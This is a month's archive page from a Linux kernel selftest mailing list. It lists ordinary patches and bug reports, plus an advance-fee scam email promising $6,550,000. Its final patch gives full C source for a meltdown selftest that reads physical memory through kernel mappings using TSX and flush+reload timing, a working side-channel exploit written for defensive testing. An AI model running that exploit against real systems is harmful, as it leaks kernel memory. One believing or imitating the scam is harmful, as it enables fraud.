November 2022 - Linux-kselftest-mirror

[PATCH] selftests: cgroup: Fix unsigned comparison with less than zero

by YueHaibing

'size' is unsigned, it never less than zero. Fixes: 6c26df84e1f2 ("selftests: cgroup: return -errno from cg_read()/cg_write() on failure") Signed-off-by: YueHaibing <yuehaibing(a)huawei.com> --- tools/testing/selftests/cgroup/cgroup_util.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/tools/testing/selftests/cgroup/cgroup_util.c b/tools/testing/selftests/cgroup/cgroup_util.c index 4c52cc6f2f9c..e8bbbdb77e0d 100644 --- a/tools/testing/selftests/cgroup/cgroup_util.c +++ b/tools/testing/selftests/cgroup/cgroup_util.c @@ -555,6 +555,7 @@ int proc_mount_contains(const char *option) ssize_t proc_read_text(int pid, bool thread, const char *item, char *buf, size_t size) { char path[PATH_MAX]; + ssize_t ret; if (!pid) snprintf(path, sizeof(path), "/proc/%s/%s", @@ -562,8 +563,8 @@ ssize_t proc_read_text(int pid, bool thread, const char *item, char *buf, size_t else snprintf(path, sizeof(path), "/proc/%d/%s", pid, item); - size = read_text(path, buf, size); - return size < 0 ? -1 : size; + ret = read_text(path, buf, size); + return ret < 0 ? -1 : ret; } int proc_read_strstr(int pid, bool thread, const char *item, const char *needle) -- 2.17.1

2 years, 1 month

5
4
0 0

selftests: clone3: clone3_clear_sighand failed - Bail out! Failed to clear signal handler for child process

by Naresh Kamboju

selftests: clone3: clone3_clear_sighand failed on arm32 and i386 but passed on arm64 and x86_64. Reported-by: Linux Kernel Functional Testing <lkft(a)linaro.org> # selftests: clone3: clone3_clear_sighand # TAP version 13 # 1..1 # # clone3() syscall supported # Bail out! Failed to clear signal handler for child process # # Planned tests != run tests (1 != 0) # # Totals: pass:0 fail:0 xfail:0 xpass:0 skip:0 error:0 not ok 2 selftests: clone3: clone3_clear_sighand # exit=1 Test details links, https://lkft.validation.linaro.org/scheduler/job/5820146#L1795 Test results comparison link, https://qa-reports.linaro.org/lkft/linux-next-master/build/next-20221107/te… metadata: git_ref: master git_repo: https://gitlab.com/Linaro/lkft/mirrors/next/linux-next git_sha: b6fc3fddade7a194bd141a49f2689e50f796ef46 git_describe: next-20221108 kernel_version: 6.1.0-rc4 kernel-config: https://builds.tuxbuild.com/2HFnr3jvzSvcbeO3iSMp7Fbvmmq/config build-url: https://gitlab.com/Linaro/lkft/mirrors/next/linux-next/-/pipelines/688275399 artifact-location: https://builds.tuxbuild.com/2HFnr3jvzSvcbeO3iSMp7Fbvmmq toolchain: gcc-11 -- Linaro LKFT https://lkft.linaro.org

2 years, 1 month

3
5
0 0

[PATCH 0/4] bpf: Support kernel function call in 32-bit ARM

by Yang Jihong

1. Patch 1 and Patch 2 are dependent patches to resolve the BPF check error in 32-bit ARM. 2. Patch 3 supports bpf fkunc in 32-bit ARM. 3. Patch 4 is used to add test cases to cover some parameter scenarios states by AAPCS. The following is the test_progs result in the 32-bit ARM environment: # uname -a Linux qemuarm32 6.1.0-rc3+ #2 SMP Thu Nov 3 15:31:29 CST 2022 armv7l armv7l armv7l GNU/Linux # echo 1 > /proc/sys/net/core/bpf_jit_enable # ./test_progs -t kfunc_call #1/1 kfunc_call/kfunc_syscall_test_fail:OK #1/2 kfunc_call/kfunc_syscall_test_null_fail:OK #1/3 kfunc_call/kfunc_call_test_get_mem_fail_rdonly:OK #1/4 kfunc_call/kfunc_call_test_get_mem_fail_use_after_free:OK #1/5 kfunc_call/kfunc_call_test_get_mem_fail_oob:OK #1/6 kfunc_call/kfunc_call_test_get_mem_fail_not_const:OK #1/7 kfunc_call/kfunc_call_test_mem_acquire_fail:OK #1/8 kfunc_call/kfunc_call_test1:OK #1/9 kfunc_call/kfunc_call_test2:OK #1/10 kfunc_call/kfunc_call_test4:OK #1/11 kfunc_call/kfunc_call_test_ref_btf_id:OK #1/12 kfunc_call/kfunc_call_test_get_mem:OK #1/13 kfunc_call/kfunc_syscall_test:OK #1/14 kfunc_call/kfunc_syscall_test_null:OK #1/17 kfunc_call/destructive:OK Yang Jihong (4): bpf: Adapt 32-bit return value kfunc for 32-bit ARM when zext extension bpf: Remove size check for sk in bpf_skb_is_valid_access for 32-bit architecture bpf: Add kernel function call support in 32-bit ARM bpf:selftests: Add kfunc_call test for mixing 32-bit and 64-bit parameters arch/arm/net/bpf_jit_32.c | 130 ++++++++++++++++++ kernel/bpf/verifier.c | 3 + net/bpf/test_run.c | 6 + net/core/filter.c | 2 - .../selftests/bpf/prog_tests/kfunc_call.c | 1 + .../selftests/bpf/progs/kfunc_call_test.c | 23 ++++ 6 files changed, 163 insertions(+), 2 deletions(-) -- 2.30.GIT

2 years, 1 month

4
8
0 0

Re: [PATCH v4 15/17] iommufd: Add a selftest

by Jason Gunthorpe

On Mon, Nov 07, 2022 at 08:49:08PM -0400, Jason Gunthorpe wrote: > Cover the essential functionality of the iommufd with a directed > test. This aims to achieve reasonable functional coverage using the > in-kernel self test framework. > > It provides a mock kernel module for the iommu_domain that allows it to > run without any HW and the mocking provides a way to directly validate > that the PFNs loaded into the iommu_domain are correct. > > The mock also simulates the rare case of PAGE_SIZE > iommu page size as > the mock will operate at a 2K iommu page size. This allows exercising all > of the calculations to support this mismatch. > > This allows achieving high coverage of the corner cases in the iopt_pages. > > However, it is an unusually invasive config option to enable all of > this. The config option should not be enabled in a production kernel. This patch crossed 100k so it was bounced from the vger lists. If anyone didn't get it and would like to see it lore has it: https://lore.kernel.org/linux-iommu/15-v4-0de2f6c78ed0+9d1-iommufd_jgg@nvid… For the eventual v5 I will split the nth test into its own patch Jason

2 years, 1 month

1
0
0 0

[net] seg6: selftests/bpf: fix BPF object file name in test_lwt_seg6local.sh

by Andrea Mayer

The test_lwt_seg6local.c implements several eBPF programs which are used to test the SRv6 End.BPF behavior. Since commit afef88e65554 ("selftests/bpf: Store BPF object files with .bpf.o extension"), part of the build system and test programs loading BPF object files are supposed to work with the .bpf.o extension. Consequently, the test_lwt_seg6local.c is compiled into test_lwt_seg6local.bpf.o and the corresponding test_lwt_seg6local.sh script is not updated to deal with the correct .bpf.o extension. This patch fixes the test_lwt_seg6local.sh, using the correct .bpf.o extension for the testing BPF object file, i.e. test_lwt_seg6local.bpf.o. Fixes: afef88e65554 ("selftests/bpf: Store BPF object files with .bpf.o extension") Signed-off-by: Andrea Mayer <andrea.mayer(a)uniroma2.it> --- tools/testing/selftests/bpf/test_lwt_seg6local.sh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/tools/testing/selftests/bpf/test_lwt_seg6local.sh b/tools/testing/selftests/bpf/test_lwt_seg6local.sh index 826f4423ce02..bfe76ab78481 100755 --- a/tools/testing/selftests/bpf/test_lwt_seg6local.sh +++ b/tools/testing/selftests/bpf/test_lwt_seg6local.sh @@ -117,18 +117,18 @@ ip netns exec ${NS6} ip -6 addr add fb00::109/16 dev veth10 scope link ip netns exec ${NS1} ip -6 addr add fb00::1/16 dev lo ip netns exec ${NS1} ip -6 route add fb00::6 dev veth1 via fb00::21 -ip netns exec ${NS2} ip -6 route add fb00::6 encap bpf in obj test_lwt_seg6local.o sec encap_srh dev veth2 +ip netns exec ${NS2} ip -6 route add fb00::6 encap bpf in obj test_lwt_seg6local.bpf.o sec encap_srh dev veth2 ip netns exec ${NS2} ip -6 route add fd00::1 dev veth3 via fb00::43 scope link ip netns exec ${NS3} ip -6 route add fc42::1 dev veth5 via fb00::65 -ip netns exec ${NS3} ip -6 route add fd00::1 encap seg6local action End.BPF endpoint obj test_lwt_seg6local.o sec add_egr_x dev veth4 +ip netns exec ${NS3} ip -6 route add fd00::1 encap seg6local action End.BPF endpoint obj test_lwt_seg6local.bpf.o sec add_egr_x dev veth4 -ip netns exec ${NS4} ip -6 route add fd00::2 encap seg6local action End.BPF endpoint obj test_lwt_seg6local.o sec pop_egr dev veth6 +ip netns exec ${NS4} ip -6 route add fd00::2 encap seg6local action End.BPF endpoint obj test_lwt_seg6local.bpf.o sec pop_egr dev veth6 ip netns exec ${NS4} ip -6 addr add fc42::1 dev lo ip netns exec ${NS4} ip -6 route add fd00::3 dev veth7 via fb00::87 ip netns exec ${NS5} ip -6 route add fd00::4 table 117 dev veth9 via fb00::109 -ip netns exec ${NS5} ip -6 route add fd00::3 encap seg6local action End.BPF endpoint obj test_lwt_seg6local.o sec inspect_t dev veth8 +ip netns exec ${NS5} ip -6 route add fd00::3 encap seg6local action End.BPF endpoint obj test_lwt_seg6local.bpf.o sec inspect_t dev veth8 ip netns exec ${NS6} ip -6 addr add fb00::6/16 dev lo ip netns exec ${NS6} ip -6 addr add fd00::4/16 dev lo -- 2.20.1

2 years, 1 month

4
3
0 0

[PATCH v2 0/2] Fix slab-out-of-bounds Write in dbgfs_rm_context_write

by SeongJae Park

Changes from v1 (https://lore.kernel.org/damon/20221031182554.7882-1-sj@kernel.org/) - Rebase on latest mm-unstable --- This patchset is for fixing (patch 1) the syzbot-reported slab-out-of-bounds write in dbgfs_rm_context_write[1], and adding a selftest for the bug (patch 2). [1] https://lore.kernel.org/damon/000000000000ede3ac05ec4abf8e@google.com/ SeongJae Park (2): mm/damon/dbgfs: check if rm_contexts input is for a real context selftests/damon: test non-context inputs to rm_contexts file mm/damon/dbgfs.c | 7 +++++++ tools/testing/selftests/damon/Makefile | 1 + .../damon/debugfs_rm_non_contexts.sh | 19 +++++++++++++++++++ 3 files changed, 27 insertions(+) create mode 100755 tools/testing/selftests/damon/debugfs_rm_non_contexts.sh -- 2.25.1

2 years, 1 month

1
1
0 0

[RESEND][RFC][PATCH 1/3] lsm: Clarify documentation of vm_enough_memory hook

by Roberto Sassu

From: Roberto Sassu <roberto.sassu(a)huawei.com> include/linux/lsm_hooks.h reports the result of the LSM infrastructure to the callers, not what LSMs should return to the LSM infrastructure. Clarify that and add that returning 1 from the LSMs means calling __vm_enough_memory() with cap_sys_admin set, 0 without. Signed-off-by: Roberto Sassu <roberto.sassu(a)huawei.com> --- include/linux/lsm_hooks.h | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/include/linux/lsm_hooks.h b/include/linux/lsm_hooks.h index 4ec80b96c22e..f40b82ca91e7 100644 --- a/include/linux/lsm_hooks.h +++ b/include/linux/lsm_hooks.h @@ -1411,7 +1411,9 @@ * Check permissions for allocating a new virtual mapping. * @mm contains the mm struct it is being added to. * @pages contains the number of pages. - * Return 0 if permission is granted. + * Return 0 if permission is granted by LSMs to the caller. LSMs should + * return 1 if __vm_enough_memory() should be called with + * cap_sys_admin set, 0 if not. * * @ismaclabel: * Check if the extended attribute specified by @name -- 2.25.1

2 years, 1 month

3
9
0 0

Re:

by Mrs. Monika Everenová

Hei ja miten voit? Nimeni on rouva Evereen, lähetän tämän viestin suurella toivolla välitön vastaus, koska minun on tehtävä uusi sydänleikkaus tällä hetkellä huonokuntoinen ja vähäiset mahdollisuudet selviytyä. Mutta ennen kuin minä Tee toinen vaarallinen operaatio, annan sen sinulle Minulla on 6 550 000 dollaria yhdysvaltalaisella pankkitilillä sijoittamista, hallinnointia ja käyttöä varten voittoa hyväntekeväisyysprojektin toteuttamiseen. Tarkoitan sairaiden auttamista ja köyhät ovat viimeinen haluni maan päällä, sillä minulla ei ole niitä keneltä perii rahaa. Vastaa minulle nopeasti terveisiä Rouva Monika Evereen Florida, Amerikan Yhdysvallat ======================================================= Hi and how are you? My name is Mrs. Evereen, I am sending this message with great hope for an immediate response, as I have to undergo heart reoperation in my current poor health with little chance of survival. But before I undertake the second dangerous operation, I will give you the $6,550,000 I have in my US bank account to invest well, manage and use the profits to run a charity project for me. I count helping the sick and the poor as my last wish on earth, because I have no one to inherit money from. Please give me a quick reply regards Mrs. Monika Evereen Florida, United States of America

2 years, 1 month

1
0
0 0

[PATCH bpf RESEND 0/4] bpf: Support kernel function call in 32-bit ARM

by Yang Jihong

1. Patch 1 and Patch 2 are dependent patches to resolve the BPF check error in 32-bit ARM. 2. Patch 3 supports bpf fkunc in 32-bit ARM. 3. Patch 4 is used to add test cases to cover some parameter scenarios states by AAPCS. The following is the test_progs result in the 32-bit ARM environment: # uname -a Linux qemuarm32 6.1.0-rc3+ #2 SMP Thu Nov 3 15:31:29 CST 2022 armv7l armv7l armv7l GNU/Linux # echo 1 > /proc/sys/net/core/bpf_jit_enable # ./test_progs -t kfunc_call #1/1 kfunc_call/kfunc_syscall_test_fail:OK #1/2 kfunc_call/kfunc_syscall_test_null_fail:OK #1/3 kfunc_call/kfunc_call_test_get_mem_fail_rdonly:OK #1/4 kfunc_call/kfunc_call_test_get_mem_fail_use_after_free:OK #1/5 kfunc_call/kfunc_call_test_get_mem_fail_oob:OK #1/6 kfunc_call/kfunc_call_test_get_mem_fail_not_const:OK #1/7 kfunc_call/kfunc_call_test_mem_acquire_fail:OK #1/8 kfunc_call/kfunc_call_test1:OK #1/9 kfunc_call/kfunc_call_test2:OK #1/10 kfunc_call/kfunc_call_test4:OK #1/11 kfunc_call/kfunc_call_test_ref_btf_id:OK #1/12 kfunc_call/kfunc_call_test_get_mem:OK #1/13 kfunc_call/kfunc_syscall_test:OK #1/14 kfunc_call/kfunc_syscall_test_null:OK #1/17 kfunc_call/destructive:OK Yang Jihong (4): bpf: Adapt 32-bit return value kfunc for 32-bit ARM when zext extension bpf: Remove size check for sk in bpf_skb_is_valid_access for 32-bit architecture bpf: Add kernel function call support in 32-bit ARM bpf:selftests: Add kfunc_call test for mixing 32-bit and 64-bit parameters arch/arm/net/bpf_jit_32.c | 130 ++++++++++++++++++ kernel/bpf/verifier.c | 3 + net/bpf/test_run.c | 6 + net/core/filter.c | 2 - .../selftests/bpf/prog_tests/kfunc_call.c | 1 + .../selftests/bpf/progs/kfunc_call_test.c | 23 ++++ 6 files changed, 163 insertions(+), 2 deletions(-) -- 2.30.GIT

2 years, 1 month

4
12
0 0

[RFC PATCH] selftest/x86/meltdown: Add a selftest for meltdown

by Aaron Lu

To capture potential programming errors like mistakenly setting Global bit on kernel page table entries, a selftest for meltdown is added. This selftest is based on https://github.com/IAIK/meltdown. What this test does is to firstly set a predefined string at a random user address and then with pagemap, get the physical address of this string. Finally, try to fetch the data using kernel's directmap address for this physical address to see if user space can use kernel's page table. Per my tests, this test works well on CPUs that have TSX support. For this reason, this selftest only works on CPUs that supports TSX. This test requires the knowledge of direct map base. IAIK used the following two methods to get direct map base: 1 through a kernel module to show phys_to_virt(0); 2 by exploiting the same HW vulnerability to guess the base. Method 1 makes running this selftest complex while method 2 is not reliable and I do not want to use a possibly wrong value to run this test. Suggestions are welcome. Tested on both x86_64 and i386_pae VMs on a host with i7-7700K cpu, success rate is about 50% when nopti kernel cmdline is used. Signed-off-by: Aaron Lu <aaron.lu(a)intel.com> --- tools/testing/selftests/x86/Makefile | 2 +- tools/testing/selftests/x86/meltdown.c | 385 +++++++++++++++++++++++++ 2 files changed, 386 insertions(+), 1 deletion(-) create mode 100644 tools/testing/selftests/x86/meltdown.c diff --git a/tools/testing/selftests/x86/Makefile b/tools/testing/selftests/x86/Makefile index 0388c4d60af0..36f99c360a56 100644 --- a/tools/testing/selftests/x86/Makefile +++ b/tools/testing/selftests/x86/Makefile @@ -13,7 +13,7 @@ CAN_BUILD_WITH_NOPIE := $(shell ./check_cc.sh "$(CC)" trivial_program.c -no-pie) TARGETS_C_BOTHBITS := single_step_syscall sysret_ss_attrs syscall_nt test_mremap_vdso \ check_initial_reg_state sigreturn iopl ioperm \ test_vsyscall mov_ss_trap \ - syscall_arg_fault fsgsbase_restore sigaltstack + syscall_arg_fault fsgsbase_restore sigaltstack meltdown TARGETS_C_32BIT_ONLY := entry_from_vm86 test_syscall_vdso unwind_vdso \ test_FCMOV test_FCOMI test_FISTTP \ vdso_restorer diff --git a/tools/testing/selftests/x86/meltdown.c b/tools/testing/selftests/x86/meltdown.c new file mode 100644 index 000000000000..fb72d933fd90 --- /dev/null +++ b/tools/testing/selftests/x86/meltdown.c @@ -0,0 +1,385 @@ +// SPDX-License-Identifier: GPL-2.0-only +/* + * This selftest is based on code from https://github.com/IAIK/meltdown + * and can be used to check if user space can read data through kernel + * page table entries. + * + * Note for i386 test: due to kernel prefer to use high memory for user + * programs, it is necessary to restrict the available memory under that + * of low memory size(around ~896MiB) so that the memory hosting "string" + * in main() is directly mapped. + * + * The original copyright and license information are shown below: + * + * Copyright (c) 2018 meltdown + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any damages + * arising from the use of this software. + * + * Permission is granted to anyone to use this software for any purpose, + * including commercial applications, and to alter it and redistribute it + * freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you must not + * claim that you wrote the original software. If you use this software + * in a product, an acknowledgment in the product documentation would be + * appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and must not be + * misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + */ + +#include <fcntl.h> +#include <unistd.h> +#include <stdio.h> +#include <stdlib.h> +#include <stdint.h> +#include <string.h> +#include <cpuid.h> +#include <errno.h> +#include <err.h> +#include <sys/mman.h> + +#define PAGE_SHIFT 12 +#define PAGE_SIZE 0x1000 +#define PUD_SHIFT 30 +#define PUD_SIZE (1UL << PUD_SHIFT) +#define PUD_MASK (~(PUD_SIZE - 1)) + +#define _XBEGIN_STARTED (~0u) + +/* configurables */ +#define NR_MEASUREMENTS 3 +#define NR_TRIES 10000 + +size_t cache_miss_threshold; +unsigned long directmap_base; + +static int get_directmap_base(void) +{ + char *buf; + FILE *fp; + size_t n; + int ret; + + fp = fopen("/sys/kernel/debug/page_tables/kernel", "r"); + if (!fp) + return -1; + + buf = NULL; + ret = -1; + while (getline(&buf, &n, fp) != -1) { + if (!strstr(buf, "Kernel Mapping")) + continue; + + if (getline(&buf, &n, fp) != -1 && + sscanf(buf, "0x%lx", &directmap_base) == 1) { + printf("directmap_base=0x%lx/0x%lx\n", directmap_base, directmap_base & PUD_MASK); + directmap_base &= PUD_MASK; + ret = 0; + break; + } + } + + fclose(fp); + free(buf); + return ret; +} + +/* + * Requires root due to pagemap. + */ +static int virt_to_phys(unsigned long virt, unsigned long *phys) +{ + unsigned long pfn; + uint64_t val; + int fd, ret; + + fd = open("/proc/self/pagemap", O_RDONLY); + if (fd == -1) { + printf("Failed to open pagemap\n"); + return -1; + } + + ret = pread(fd, &val, sizeof(val), (virt >> PAGE_SHIFT) * sizeof(uint64_t)); + if (ret == -1) { + printf("Failed to read pagemap\n"); + goto out; + } + + if (!(val & (1ULL << 63))) { + printf("Page not present according to pagemap\n"); + ret = -1; + goto out; + } + + pfn = val & ((1ULL << 55) - 1); + if (pfn == 0) { + printf("Need CAP_SYS_ADMIN to show pfn\n"); + ret = -1; + goto out; + } + + ret = 0; + *phys = (pfn << PAGE_SHIFT) | (virt & (PAGE_SIZE - 1)); + +out: + close(fd); + return ret; +} + +static uint64_t rdtsc() +{ + uint64_t a = 0, d = 0; + + asm volatile("mfence"); +#ifdef __x86_64__ + asm volatile("rdtsc" : "=a"(a), "=d"(d)); +#else + asm volatile("rdtsc" : "=A"(a)); +#endif + a = (d << 32) | a; + asm volatile("mfence"); + + return a; +} + +#ifdef __x86_64__ +static void maccess(void *p) +{ + asm volatile("movq (%0), %%rax\n" : : "c"(p) : "rax"); +} + +static void flush(void *p) +{ + asm volatile("clflush 0(%0)\n" : : "c"(p) : "rax"); +} + +#define MELTDOWN \ + asm volatile("1:\n" \ + "movzx (%%rcx), %%rax\n" \ + "shl $12, %%rax\n" \ + "jz 1b\n" \ + "movq (%%rbx,%%rax,1), %%rbx\n" \ + : \ + : "c"(virt), "b"(array) \ + : "rax"); +#else +static void maccess(void *p) +{ + asm volatile("movl (%0), %%eax\n" : : "c"(p) : "eax"); +} + +static void flush(void *p) +{ + asm volatile("clflush 0(%0)\n" : : "c"(p) : "eax"); +} + +#define MELTDOWN \ + asm volatile("1:\n" \ + "movzx (%%ecx), %%eax\n" \ + "shl $12, %%eax\n" \ + "jz 1b\n" \ + "mov (%%ebx,%%eax,1), %%ebx\n" \ + : \ + : "c"(virt), "b"(array) \ + : "eax"); +#endif + +static void detect_flush_reload_threshold() +{ + size_t reload_time = 0, flush_reload_time = 0, i, count = 1000000; + size_t dummy[16]; + size_t *ptr = dummy + 8; + uint64_t start = 0, end = 0; + + maccess(ptr); + for (i = 0; i < count; i++) { + start = rdtsc(); + maccess(ptr); + end = rdtsc(); + reload_time += (end - start); + } + + for (i = 0; i < count; i++) { + start = rdtsc(); + maccess(ptr); + end = rdtsc(); + flush(ptr); + flush_reload_time += (end - start); + } + + reload_time /= count; + flush_reload_time /= count; + + printf("Flush+Reload: %zd cycles, Reload only: %zd cycles\n", + flush_reload_time, reload_time); + cache_miss_threshold = (flush_reload_time + reload_time * 2) / 3; + printf("Flush+Reload threshold: %zd cycles\n", cache_miss_threshold); +} + +static int flush_reload(void *ptr) +{ + uint64_t start, end; + + start = rdtsc(); + maccess(ptr); + end = rdtsc(); + + flush(ptr); + + if (end - start < cache_miss_threshold) + return 1; + + return 0; +} + +static int check_tsx() +{ + if (__get_cpuid_max(0, NULL) >= 7) { + unsigned a, b, c, d; + __cpuid_count(7, 0, a, b, c, d); + return (b & (1 << 11)) ? 1 : 0; + } else + return 0; +} + +static unsigned int xbegin(void) +{ + unsigned int status; + + asm volatile("xbegin 1f \n 1:" : "=a"(status) : "a"(-1UL) : "memory"); + asm volatile(".byte 0xc7,0xf8,0x00,0x00,0x00,0x00" : "=a"(status) : "a"(-1UL) : "memory"); + + return status; +} + +static void xend(void) +{ + asm volatile("xend" ::: "memory"); + asm volatile(".byte 0x0f; .byte 0x01; .byte 0xd5" ::: "memory"); +} + +static int __read_phys_memory_tsx(unsigned long phys, char *array) +{ + unsigned long virt; + int i, retries; + + virt = phys + directmap_base; + for (retries = 0; retries < NR_TRIES; retries++) { + if (xbegin() == _XBEGIN_STARTED) { + MELTDOWN; + xend(); + } + + for (i = 1; i < 256; i++) { + if (flush_reload(array + i * PAGE_SIZE)) + return i; + } + } + + return 0; +} + +/* + * Read physical memory by exploiting HW bugs. + * One byte a time. + */ +static int read_phys_memory(unsigned long phys, char *array) +{ + char res_stat[256]; + int i, r, max_v, max_i; + + memset(res_stat, 0, sizeof(res_stat)); + + for (i = 0; i < NR_MEASUREMENTS; i++) { + for (i = 0; i < 256; i++) + flush(array + i * PAGE_SIZE); + + r = __read_phys_memory_tsx(phys, array); + if (r != 0) + res_stat[r]++; + } + + max_v = 0; + for (i = 1; i < 256; i++) { + if (res_stat[i] > max_v) { + max_i = i; + max_v = res_stat[i]; + } + } + + if (max_v == 0) + return 0; + + return max_i; +} + +static int test_meltdown(void) +{ + char string[] = "test string"; + char *array, *result; + unsigned long phys; + int i, len, ret; + + if (get_directmap_base() == -1) { + printf("[FAIL]\tFailed to get directmap base. Make sure you are root and kernel has CONFIG_PTDUMP_DEBUGFS\n"); + return 0; + } + + detect_flush_reload_threshold(); + + if (!check_tsx()) { + printf("[FAIL]\tNo TSX support\n"); + return 0; + } + + if (virt_to_phys((unsigned long)string, &phys) == -1) { + printf("[FAIL]\tFailed to convert virtual address to physical address\n"); + return -1; + } + + len = strlen(string); + result = malloc(len + 1); + if (!result) { + printf("[FAIL]\tNot enough memory for malloc\n"); + return -1; + } + memset(result, 0, len + 1); + + array = mmap(NULL, 256 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (!array) { + printf("[FAIL]\tNot enough memory for mmap\n"); + free(result); + return -1; + } + memset(array, 0, 256 * PAGE_SIZE); + + for (i = 0; i < len; i++, phys++) { + result[i] = read_phys_memory(phys, array); + if (result[i] == 0) + break; + } + + ret = !strncmp(string, result, len); + if (ret) + printf("[FAIL]\tSystem is vulnerable to meltdown.\n"); + else + printf("[OK]\tSystem might not be vulnerable to meltdown.\n"); + + munmap(array, 256 * PAGE_SIZE); + free(result); + + return ret; +} + +int main(void) +{ + printf("[RUN]\tTest if system is vulnerable to meltdown\n"); + + return test_meltdown(); +} -- 2.30.2

2 years, 1 month

2
4
0 0

2025

2024

2023

2022

2021

2020

2019

2018

2017

Linux-kselftest-mirror November 2022